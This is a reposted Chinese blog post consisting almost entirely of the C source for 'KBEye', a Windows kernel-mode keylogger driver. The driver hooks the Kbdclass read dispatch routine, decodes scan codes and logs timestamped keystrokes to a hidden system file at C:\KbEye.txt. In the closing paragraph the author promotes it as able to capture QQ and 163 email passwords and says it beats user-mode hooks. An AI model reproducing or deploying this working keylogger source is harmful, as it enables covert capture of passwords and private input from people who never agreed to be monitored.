KBEye——专注键盘

来源:互联网 发布:淘宝网电影 编辑:程序博客网 时间:2024/05/30 04:36
KBEye——小菜作品,没什么技术含量!

/********************************************************************
created:    2010/03/17   23:10
filename:     KBEye.h
file base:    KBEye
file ext:    h
author:        ejoyc    
purpose:    declare and define something
*********************************************************************/

#pragma once

#include <ntddk.h>
#include <strsafe.h>

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath);

VOID KBEyeUnload(IN PDRIVER_OBJECT DriverObject);

BOOLEAN HookFunc(BOOLEAN bIsHook);

NTSTATUS NTAPI ObReferenceObjectByName(PUNICODE_STRING ObjectName, 
ULONG Attributes, 
PACCESS_STATE Passed, 
ACCESS_MASK DesiredAccess, 
POBJECT_TYPE ObjectType, 
KPROCESSOR_MODE Access, 
PVOID ParseContext, 
PVOID* ObjectPtr ); 

typedef NTSTATUS (*PDRVOBJDISPATCHFUNC)(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);



NTSTATUS KBEyeReadFunc(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);

NTSTATUS KBEyeReadCompletion(IN PDEVICE_OBJECT  DeviceObject,IN PIRP  Irp,IN PVOID  Context );

VOID ThreadFunc(PVOID lpContext);

NTSTATUS InitThread();

typedef struct _KEYBOARD_INPUT_DATA
{
USHORT UnitId;//设备编号
USHORT MakeCode;//扫描码
USHORT Flags;//标记按键
USHORT Reserved;//保留
ULONG  ExtraInformation;//扩展信息
}KEYBOARD_INPUT_DATA,*PKEYBOARD_INPUT_DATA;


UCHAR AsciiTbl[]=
{
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09,    //normal
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09,    //caps
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09,    //shift
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09,    //caps + shift
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E
};

//----------------------------------华丽的分割线----------------------------------//

/********************************************************************
created:    2010/03/17   23:10
filename:     KBEye.c
file base:    KBEye
file ext:    c
author:        ejoyc
purpose:    implement something
*********************************************************************/

#include "KBEye.h"

extern POBJECT_TYPE IoDriverObjectType;

PDRIVER_OBJECT        KbdDriverObject=NULL;

PDRVOBJDISPATCHFUNC    OldKbdDrvObjDispatchFunc=NULL;

BOOLEAN        IsEnding=FALSE;

PIRP        PendingIrp   = NULL; 

ULONG        ulPendingIrps= 0;

PETHREAD    ThreadObject;

KEVENT        hEvent;

UCHAR        Buffer[32];

KSPIN_LOCK    SpinLock;

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS NtStatus=STATUS_UNSUCCESSFUL;
KdPrint(("[KBEye]loading...\r\n"));
DriverObject->DriverUnload=KBEyeUnload;
KeInitializeEvent(&hEvent,SynchronizationEvent,FALSE);
MmLockPagableDataSection(&hEvent);
KeInitializeSpinLock(&SpinLock);

InitThread();

if (HookFunc(TRUE))
{
NtStatus=STATUS_SUCCESS;
}
return NtStatus;
}


VOID KBEyeUnload(IN PDRIVER_OBJECT DriverObject)
{
PRKTHREAD        CurrentThread=KeGetCurrentThread();
LARGE_INTEGER    interval=RtlConvertUlongToLargeInteger(250*1000*(-10));

HookFunc(FALSE);

IsEnding=TRUE;

KeSetPriorityThread(CurrentThread,LOW_REALTIME_PRIORITY);

if (ulPendingIrps!=0 && (PendingIrp->CancelRoutine==NULL || FALSE==IoCancelIrp(PendingIrp)))
{
while (ulPendingIrps>0)
{
KeDelayExecutionThread(KernelMode,FALSE,&interval);
}
}

KeSetEvent(&hEvent,IO_NO_INCREMENT, FALSE);
KeWaitForSingleObject(ThreadObject, Executive, KernelMode, FALSE, NULL);
MmUnlockPagableImageSection(&hEvent);

KdPrint(("[KBEye]unloading...\r\n"));
}

BOOLEAN HookFunc(BOOLEAN bIsHook)
{
BOOLEAN            bRet=FALSE;
UNICODE_STRING    usKbdclassName;
NTSTATUS        NtStatus;

KdPrint(("[KBEye]%-8s...\r\n",bIsHook?"Hook":"Unhook"));

RtlInitUnicodeString(&usKbdclassName,L"\\Driver\\Kbdclass");


if (bIsHook && OldKbdDrvObjDispatchFunc==NULL && KbdDriverObject==NULL)
{

NtStatus=ObReferenceObjectByName(    &usKbdclassName,
OBJ_CASE_INSENSITIVE,
NULL,
0,
IoDriverObjectType,
KernelMode,
NULL,
&KbdDriverObject);
if (NT_SUCCESS(NtStatus))
{
OldKbdDrvObjDispatchFunc=KbdDriverObject->MajorFunction[IRP_MJ_READ];
InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],KBEyeReadFunc);
ObDereferenceObject(KbdDriverObject);
bRet=TRUE;        
}
}
else if (!bIsHook && KbdDriverObject!=NULL && OldKbdDrvObjDispatchFunc!=NULL)
{
InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],OldKbdDrvObjDispatchFunc);
bRet=TRUE;
KbdDriverObject=NULL;
OldKbdDrvObjDispatchFunc=NULL;
}
else
{
KdPrint(("[KBEye]unsuccessful...\r\n"));
}

return bRet;
}

NTSTATUS KBEyeReadFunc(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
PIO_STACK_LOCATION IoStack=IoGetCurrentIrpStackLocation(Irp);

IoStack->CompletionRoutine=KBEyeReadCompletion;
IoStack->Context=IoStack->CompletionRoutine;
IoStack->Control|=SL_INVOKE_ON_SUCCESS;

InterlockedIncrement(&ulPendingIrps);

PendingIrp = (ulPendingIrps>0?Irp:NULL); 

return OldKbdDrvObjDispatchFunc(DeviceObject,Irp) ;    
}

NTSTATUS KBEyeReadCompletion(IN PDEVICE_OBJECT  DeviceObject,IN PIRP  Irp,IN PVOID  Context )
{
NTSTATUS                NtStatus=STATUS_SUCCESS;
PKEYBOARD_INPUT_DATA    pKeyData=NULL;
ULONG                    ulNums,ulIndex;
KIRQL                    Irql;

if (NT_SUCCESS(Irp->IoStatus.Status))
{
pKeyData=Irp->AssociatedIrp.SystemBuffer;
ulNums=Irp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
__try
{
for (ulIndex=0;ulIndex<ulNums;ulIndex++)
{
KeAcquireSpinLock(&SpinLock,&Irql);
RtlZeroMemory(Buffer,32);
switch(pKeyData->MakeCode)
{
case 0x01:
StringCchPrintfA(Buffer,32,"(%s)Esc\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Esc\r\n"));
break;
case 0x0E:
StringCchPrintfA(Buffer,32,"(%s)Backspace\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Backspace\r\n"));
break;
case 0x52:
StringCchPrintfA(Buffer,32,"(%s)Insert\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Insert\r\n"));
break;
case 0x5B:
StringCchPrintfA(Buffer,32,"(%s)Windows\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Windows\r\n"));
break;
case 0x0F:
StringCchPrintfA(Buffer,32,"(%s)Tab\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Tab\r\n"));
break;
case 0x1c:
StringCchPrintfA(Buffer,32,"(%s)Enter\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Enter\r\n"));
break;
case 0x3A:
StringCchPrintfA(Buffer,32,"(%s)CAPS LOCK\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]CAPS LOCK\r\n"));
break;
case 0x38:
StringCchPrintfA(Buffer,32,"(%s)Alt\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Alt\r\n"));
break;
case 0x2A:
StringCchPrintfA(Buffer,32,"(%s)Shift\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Shift\r\n"));
break;
case 0x1D:
StringCchPrintfA(Buffer,32,"(%s)Control\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Control\r\n"));
break;
case 0x53:
StringCchPrintfA(Buffer,32,"(%s)Delete\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Delete\r\n"));
break;
case 0x4B:
StringCchPrintfA(Buffer,32,"(%s)←\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]←\r\n"));
break;
case 0x4D:
StringCchPrintfA(Buffer,32,"(%s)→\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]→\r\n"));
break;
case 0x48:
StringCchPrintfA(Buffer,32,"(%s)↑\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]↑\r\n"));
break;
case 0x50:
StringCchPrintfA(Buffer,32,"(%s)↓\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]↓\r\n"));
break;
case 0x5D:
StringCchPrintfA(Buffer,32,"(%s)Menu\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Menu\r\n"));
break;
case 0x37:
StringCchPrintfA(Buffer,32,"(%s)PrintScreen\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]PrintScreen\r\n"));
break;
default:
if (AsciiTbl[pKeyData->MakeCode]>='0' && AsciiTbl[pKeyData->MakeCode]<='z')
{
StringCchPrintfA(Buffer,32,"(%s)%c\r\n",pKeyData->Flags==1?"↑":"↓",AsciiTbl[pKeyData->MakeCode]);
KdPrint(("[KBEye](%s)%c\r\n",pKeyData->Flags==1?"↑":"↓",AsciiTbl[pKeyData->MakeCode]));
}
else
{
StringCchPrintfA(Buffer,32,"(%s)unknown[0x%02X]\r\n",pKeyData->Flags==1?"↑":"↓",pKeyData->MakeCode);
KdPrint(("[KBEye](%s)unknown[0x%02X]\r\n",pKeyData->Flags==1?"↑":"↓",pKeyData->MakeCode));
}
}
pKeyData++;
KeSetEvent(&hEvent,IO_NO_INCREMENT, FALSE);
KeReleaseSpinLock(&SpinLock,Irql);
}    
InterlockedDecrement(&ulPendingIrps);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
KdPrint(("[KBEye]KBEyeReadCompletion Error!\r\n"));
}
}

if (Irp->PendingReturned)
{
IoMarkIrpPending(Irp);
}

if (Context!=NULL)
{
return ((PIO_COMPLETION_ROUTINE)Context)(DeviceObject,Irp,NULL);
}
else
{
return Irp->IoStatus.Status;
}
}

NTSTATUS InitThread()
{
NTSTATUS NtStatus;
HANDLE ThreadHandle;
NtStatus = PsCreateSystemThread(&ThreadHandle,
0,
0,
0,
0,
ThreadFunc,
0);

ObReferenceObjectByHandle(ThreadHandle, THREAD_ALL_ACCESS, NULL, KernelMode,(PVOID*)&ThreadObject, NULL);
ZwClose(ThreadHandle);
return NtStatus;
}

VOID ThreadFunc(PVOID lpContext)
{
UNICODE_STRING                usFileName;
OBJECT_ATTRIBUTES            ObjectAttributes;
HANDLE                        hFile;
IO_STATUS_BLOCK                IoStatus;
FILE_STANDARD_INFORMATION    FileInformation;
LARGE_INTEGER                CurrentSystemTime;
LARGE_INTEGER                CurrentLocalTime;
TIME_FIELDS                    TimeFields;
ULONG                        ulIndex;
UCHAR                        szInfoBuffer[64];
KIRQL                        Irql;

RtlInitUnicodeString(&usFileName, L"\\??\\C:\\KbEye.txt");
InitializeObjectAttributes(&ObjectAttributes,
&usFileName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
ZwCreateFile(&hFile,
GENERIC_ALL,
&ObjectAttributes,
&IoStatus,
NULL,
FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN ,
0,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
0,
0);
while(IsEnding==FALSE)
{
if (KeWaitForSingleObject(&hEvent, Executive, KernelMode, FALSE, NULL)==STATUS_SUCCESS)
{
KeQuerySystemTime(&CurrentSystemTime);        
ExSystemTimeToLocalTime(&CurrentSystemTime,&CurrentLocalTime);
RtlTimeToTimeFields(&CurrentLocalTime,&TimeFields);

KeAcquireSpinLock(&SpinLock,&Irql);

ZwQueryInformationFile(    hFile,
&IoStatus,
&FileInformation,
sizeof(FileInformation),
FileStandardInformation);
if(Buffer[31]!='\0')
{
Buffer[31]='\0';
}

RtlZeroMemory(szInfoBuffer,64);
StringCchPrintfA(szInfoBuffer,64,"[%04d-%02d-%02d,%02d:%02d:%02d]",TimeFields.Year,TimeFields.Month,TimeFields.Day,TimeFields.Hour,TimeFields.Minute,TimeFields.Second);
StringCchCatA(szInfoBuffer,64,Buffer);

for(ulIndex=0;ulIndex<64;ulIndex++)
{
if(szInfoBuffer[ulIndex]=='\0')
{    
break;
}
}

ZwWriteFile(hFile,
0,
0,
0,
&IoStatus,
szInfoBuffer,
ulIndex,
&FileInformation.EndOfFile,
0);

KeReleaseSpinLock(&SpinLock,Irql);
}
}
ZwClose(hFile);
}

//----------------------------------华丽的分割线 ----------------------------------//

本以为这个程序应该会有人关注,尽管其比较丑陋,但是好歹也可以记录QQ,163邮箱等什么的密码。至少比Ring3下的键盘钩子强——可惜没有多少人看。那我就加几个关键字:
keyword: Kbdclass,IRP-Hook,KBsniffer